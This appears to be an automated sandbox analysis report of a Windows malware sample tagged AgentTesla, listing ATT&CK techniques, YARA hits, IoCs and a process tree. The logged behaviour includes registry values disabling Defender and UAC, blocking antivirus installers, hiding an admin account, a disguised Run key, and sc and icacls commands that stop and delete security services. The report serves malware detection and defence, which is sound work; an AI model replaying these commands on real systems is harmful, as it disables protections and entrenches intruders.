agenttesla | f1bbcc5c678d174d858ae089f4494e3ea8bcfc418098d61804a15e437f08aff7

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	LtHv0O2KZDK4M637.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	LtHv0O2KZDK4M637.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	LtHv0O2KZDK4M637.exe

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	LtHv0O2KZDK4M637.exe

AgentTesla payload 5 IoCs

resource	yara_rule
behavioral1/files/0x000600000002316d-739.dat	family_agenttesla
behavioral1/memory/4560-748-0x00000000007F0000-0x000000000089C000-memory.dmp	family_agenttesla
behavioral1/files/0x000600000002316d-733.dat	family_agenttesla
behavioral1/files/0x000200000002136c-2496.dat	family_agenttesla
behavioral1/memory/9092-11923-0x0000000000400000-0x0000000000452000-memory.dmp	family_agenttesla

CryptOne packer 2 IoCs

Detects CryptOne packer defined in NCC blogpost.

cryptone packer

resource	yara_rule
behavioral1/files/0x000600000002316b-731.dat	cryptone
behavioral1/files/0x000600000002316b-736.dat	cryptone

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Formbook payload 5 IoCs

rat

resource	yara_rule
behavioral1/memory/3464-639-0x0000000000400000-0x000000000042D000-memory.dmp	formbook
behavioral1/memory/3464-755-0x0000000000400000-0x000000000042D000-memory.dmp	formbook
behavioral1/memory/3464-805-0x0000000000400000-0x000000000042D000-memory.dmp	formbook
behavioral1/memory/5080-3067-0x00000000056F0000-0x000000000571D000-memory.dmp	formbook
behavioral1/memory/5080-4740-0x00000000056F0000-0x000000000571D000-memory.dmp	formbook

RevengeRat Executable 3 IoCs

stealer

resource	yara_rule
behavioral1/files/0x00060000000230d6-718.dat	revengerat
behavioral1/files/0x00060000000230d6-720.dat	revengerat
behavioral1/memory/1520-747-0x0000000000A30000-0x0000000000A4E000-memory.dmp	revengerat

Blocks application from running via registry modification 13 IoCs

Adds application to list of disallowed applications.

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "360TS_Setup_Mini.exe"	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	LtHv0O2KZDK4M637.exe
Key created	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	LtHv0O2KZDK4M637.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "avast_free_antivirus_setup_online.exe"	LtHv0O2KZDK4M637.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "eis_trial_rus.exe"	LtHv0O2KZDK4M637.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "essf_trial_rus.exe"	LtHv0O2KZDK4M637.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "hitmanpro_x64.exe"	LtHv0O2KZDK4M637.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "HitmanPro.exe"	LtHv0O2KZDK4M637.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "eav_trial_rus.exe"	LtHv0O2KZDK4M637.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "ESETOnlineScanner_UKR.exe"	LtHv0O2KZDK4M637.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "ESETOnlineScanner_RUS.exe"	LtHv0O2KZDK4M637.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "Cezurity_Scanner_Pro_Free.exe"	LtHv0O2KZDK4M637.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\11 = "Cube.exe"	LtHv0O2KZDK4M637.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Control Panel\International\Geo\Nation	VyprVPN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Control Panel\International\Geo\Nation	joinResult.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Control Panel\International\Geo\Nation	31.exe

Executes dropped EXE 6 IoCs

pid	Process
5028	LtHv0O2KZDK4M637.exe
1388	VyprVPN.exe
1472	joinResult.exe
3476	31.exe
3408	VyprVPN.exe
2632	wini.exe

Loads dropped DLL 2 IoCs

pid	Process
1388	VyprVPN.exe
1472	joinResult.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1596	icacls.exe
6424	icacls.exe
6736	icacls.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1360-770-0x0000000000400000-0x000000000040F000-memory.dmp	upx
behavioral1/memory/1360-765-0x0000000000400000-0x000000000040F000-memory.dmp	upx
behavioral1/memory/1360-774-0x0000000000400000-0x000000000040F000-memory.dmp	upx
behavioral1/memory/1360-787-0x0000000000400000-0x000000000040F000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	LtHv0O2KZDK4M637.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio = "C:\\ProgramData\\RealtekHD\\taskhostw.exe"	LtHv0O2KZDK4M637.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	LtHv0O2KZDK4M637.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
58	ip-api.com

Modifies WinLogon 2 TTPs 6 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0"	LtHv0O2KZDK4M637.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	LtHv0O2KZDK4M637.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0"	LtHv0O2KZDK4M637.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	LtHv0O2KZDK4M637.exe

AutoIT Executable 8 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x00070000000230cb-407.dat	autoit_exe
behavioral1/files/0x00070000000230cb-408.dat	autoit_exe
behavioral1/files/0x000600000002318d-705.dat	autoit_exe
behavioral1/files/0x000600000002318d-703.dat	autoit_exe
behavioral1/files/0x0008000000022f3e-707.dat	autoit_exe
behavioral1/files/0x0008000000022f3e-712.dat	autoit_exe
behavioral1/files/0x000600000002318d-688.dat	autoit_exe
behavioral1/files/0x00060000000231a3-1363.dat	autoit_exe

Launches sc.exe 16 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
8044	sc.exe
4308	sc.exe
9756	sc.exe
6016	sc.exe
6984	sc.exe
11204	sc.exe
2100	sc.exe
4072	sc.exe
7776	sc.exe
11128	sc.exe
7740	sc.exe
4100	sc.exe
10044	sc.exe
5912	sc.exe
4576	sc.exe
3384	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
8340	3484	WerFault.exe	174
9712	1776	WerFault.exe	443
8116	10692	WerFault.exe	231

NSIS installer 10 IoCs

installer

resource	yara_rule
behavioral1/files/0x0009000000022f3d-431.dat	nsis_installer_1
behavioral1/files/0x0009000000022f3d-431.dat	nsis_installer_2
behavioral1/files/0x0009000000022f3d-430.dat	nsis_installer_1
behavioral1/files/0x0009000000022f3d-430.dat	nsis_installer_2
behavioral1/files/0x000600000002315e-449.dat	nsis_installer_1
behavioral1/files/0x000600000002315e-449.dat	nsis_installer_2
behavioral1/files/0x000600000002315e-455.dat	nsis_installer_1
behavioral1/files/0x000600000002315e-455.dat	nsis_installer_2
behavioral1/files/0x000600000002315e-458.dat	nsis_installer_1
behavioral1/files/0x000600000002315e-458.dat	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4036	schtasks.exe
6596	schtasks.exe
7260	schtasks.exe
8824	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
6320	timeout.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5440	vssadmin.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000_Classes\Local Settings	OpenWith.exe

Runs .reg file with regedit 2 IoCs

pid	Process
3784	regedit.exe
6916	regedit.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3376	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1564	taskmgr.exe
Token: SeSystemProfilePrivilege	1564	taskmgr.exe
Token: SeCreateGlobalPrivilege	1564	taskmgr.exe
Token: SeRestorePrivilege	3540	7zG.exe
Token: 35	3540	7zG.exe
Token: SeSecurityPrivilege	3540	7zG.exe
Token: SeSecurityPrivilege	3540	7zG.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
3540	7zG.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe
1564	taskmgr.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
548	OpenWith.exe
5028	LtHv0O2KZDK4M637.exe
3476	31.exe
2632	wini.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1388 wrote to memory of 1472	1388	VyprVPN.exe	116
PID 1388 wrote to memory of 1472	1388	VyprVPN.exe	116
PID 1388 wrote to memory of 1472	1388	VyprVPN.exe	116
PID 1388 wrote to memory of 3408	1388	VyprVPN.exe	117
PID 1388 wrote to memory of 3408	1388	VyprVPN.exe	117
PID 1388 wrote to memory of 3408	1388	VyprVPN.exe	117
PID 5028 wrote to memory of 2632	5028	Process not Found	118
PID 5028 wrote to memory of 2632	5028	Process not Found	118
PID 5028 wrote to memory of 2632	5028	Process not Found	118

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	LtHv0O2KZDK4M637.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	LtHv0O2KZDK4M637.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	LtHv0O2KZDK4M637.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Downloads.rar
1⤵
- Modifies registry class
PID:1820

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:548

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1564

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5064

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\" -an -ai#7zMap5164:76:7zEvent21815
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3540

C:\Users\Admin\Desktop\LtHv0O2KZDK4M637.exe
"C:\Users\Admin\Desktop\LtHv0O2KZDK4M637.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Blocks application from running via registry modification
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Modifies WinLogon
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:5028
- C:\ProgramData\Microsoft\Intel\wini.exe
  C:\ProgramData\Microsoft\Intel\wini.exe -pnaxui
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2632
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"
    3⤵
    PID:4276
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Programdata\Windows\install.bat" "
      4⤵
      PID:2004
    - - C:\Windows\SysWOW64\regedit.exe
        
        regedit /s "reg1.reg"
        5⤵
        Runs .reg file with regedit
        
        PID:3784
    - - C:\Windows\SysWOW64\regedit.exe
        
        regedit /s "reg2.reg"
        5⤵
        Runs .reg file with regedit
        
        PID:6916
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 2
        5⤵
        Delays execution with timeout.exe
        
        PID:6320
    - - C:\ProgramData\Windows\rutserv.exe
        
        rutserv.exe /silentinstall
        5⤵
        
        PID:8516
- - C:\ProgramData\Windows\winit.exe
    "C:\ProgramData\Windows\winit.exe"
    3⤵
    PID:4412
- C:\ProgramData\install\sys.exe
  C:\ProgramData\install\sys.exe
  2⤵
  PID:4312
- C:\programdata\install\cheat.exe
  C:\programdata\install\cheat.exe -pnaxui
  2⤵
  PID:3084
- - C:\ProgramData\Microsoft\Intel\taskhost.exe
    "C:\ProgramData\Microsoft\Intel\taskhost.exe"
    3⤵
    PID:8080
  - - C:\Programdata\RealtekHD\taskhostw.exe
      C:\Programdata\RealtekHD\taskhostw.exe
      4⤵
      PID:7636
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\SysWOW64\drivers\conhost.exe /deny Администраторы:(F)
      4⤵
      PID:7540
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\SysWOW64\drivers\conhost.exe /deny Администраторы:(F)
        5⤵
        Modifies file permissions
        
        PID:6424
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\SysWOW64\drivers\conhost.exe /deny System:(F)
      4⤵
      PID:5688
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\SysWOW64\drivers\conhost.exe /deny System:(F)
        5⤵
        Modifies file permissions
        
        PID:1596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\SysWOW64\drivers\conhost.exe /deny система:(F)
      4⤵
      PID:11108
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\SysWOW64\drivers\conhost.exe /deny система:(F)
        5⤵
        Modifies file permissions
        
        PID:6736
  - - C:\programdata\microsoft\intel\R8.exe
      C:\programdata\microsoft\intel\R8.exe
      4⤵
      PID:6792
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"
        5⤵
        
        PID:8448
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\rdp\pause.bat" "
        6⤵
        
        PID:5800
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc start appidsvc
      4⤵
      PID:7208
    - - C:\Windows\SysWOW64\sc.exe
        
        sc start appidsvc
        5⤵
        Launches sc.exe
        
        PID:10044
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc start appmgmt
      4⤵
      PID:10228
    - - C:\Windows\SysWOW64\sc.exe
        
        sc start appmgmt
        5⤵
        Launches sc.exe
        
        PID:4072
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config appidsvc start= auto
      4⤵
      PID:4488
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config appidsvc start= auto
        5⤵
        Launches sc.exe
        
        PID:5912
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config appmgmt start= auto
      4⤵
      PID:3708
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config appmgmt start= auto
        5⤵
        Launches sc.exe
        
        PID:4308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
      4⤵
      PID:3360
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop bytefenceservice
        5⤵
        Launches sc.exe
        
        PID:7776
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop mbamservice
      4⤵
      PID:10232
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop mbamservice
        5⤵
        Launches sc.exe
        
        PID:4576
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete swprv
      4⤵
      PID:8960
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete swprv
        5⤵
        Launches sc.exe
        
        PID:11128
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
      4⤵
      PID:9872
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete bytefenceservice
        5⤵
        Launches sc.exe
        
        PID:7740
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete crmsvc
      4⤵
      PID:1652
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete crmsvc
        5⤵
        Launches sc.exe
        
        PID:6016
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete "windows node"
      4⤵
      PID:10076
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "windows node"
        5⤵
        Launches sc.exe
        
        PID:4100
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop Adobeflashplayer
      4⤵
      PID:8764
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop Adobeflashplayer
        5⤵
        Launches sc.exe
        
        PID:3384
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete MoonTitle"
      4⤵
      PID:5600
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MoonTitle"
        5⤵
        Launches sc.exe
        
        PID:11204
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop MoonTitle
      4⤵
      PID:5076
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete AdobeFlashPlayer
      4⤵
      PID:1228
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete AdobeFlashPlayer
        5⤵
        Launches sc.exe
        
        PID:6984
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop clr_optimization_v4.0.30318_64
      4⤵
      PID:10500
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete mbamservice
      4⤵
      PID:6324
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete mbamservice
        5⤵
        Launches sc.exe
        
        PID:9756
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete MicrosoftMysql
      4⤵
      PID:7936
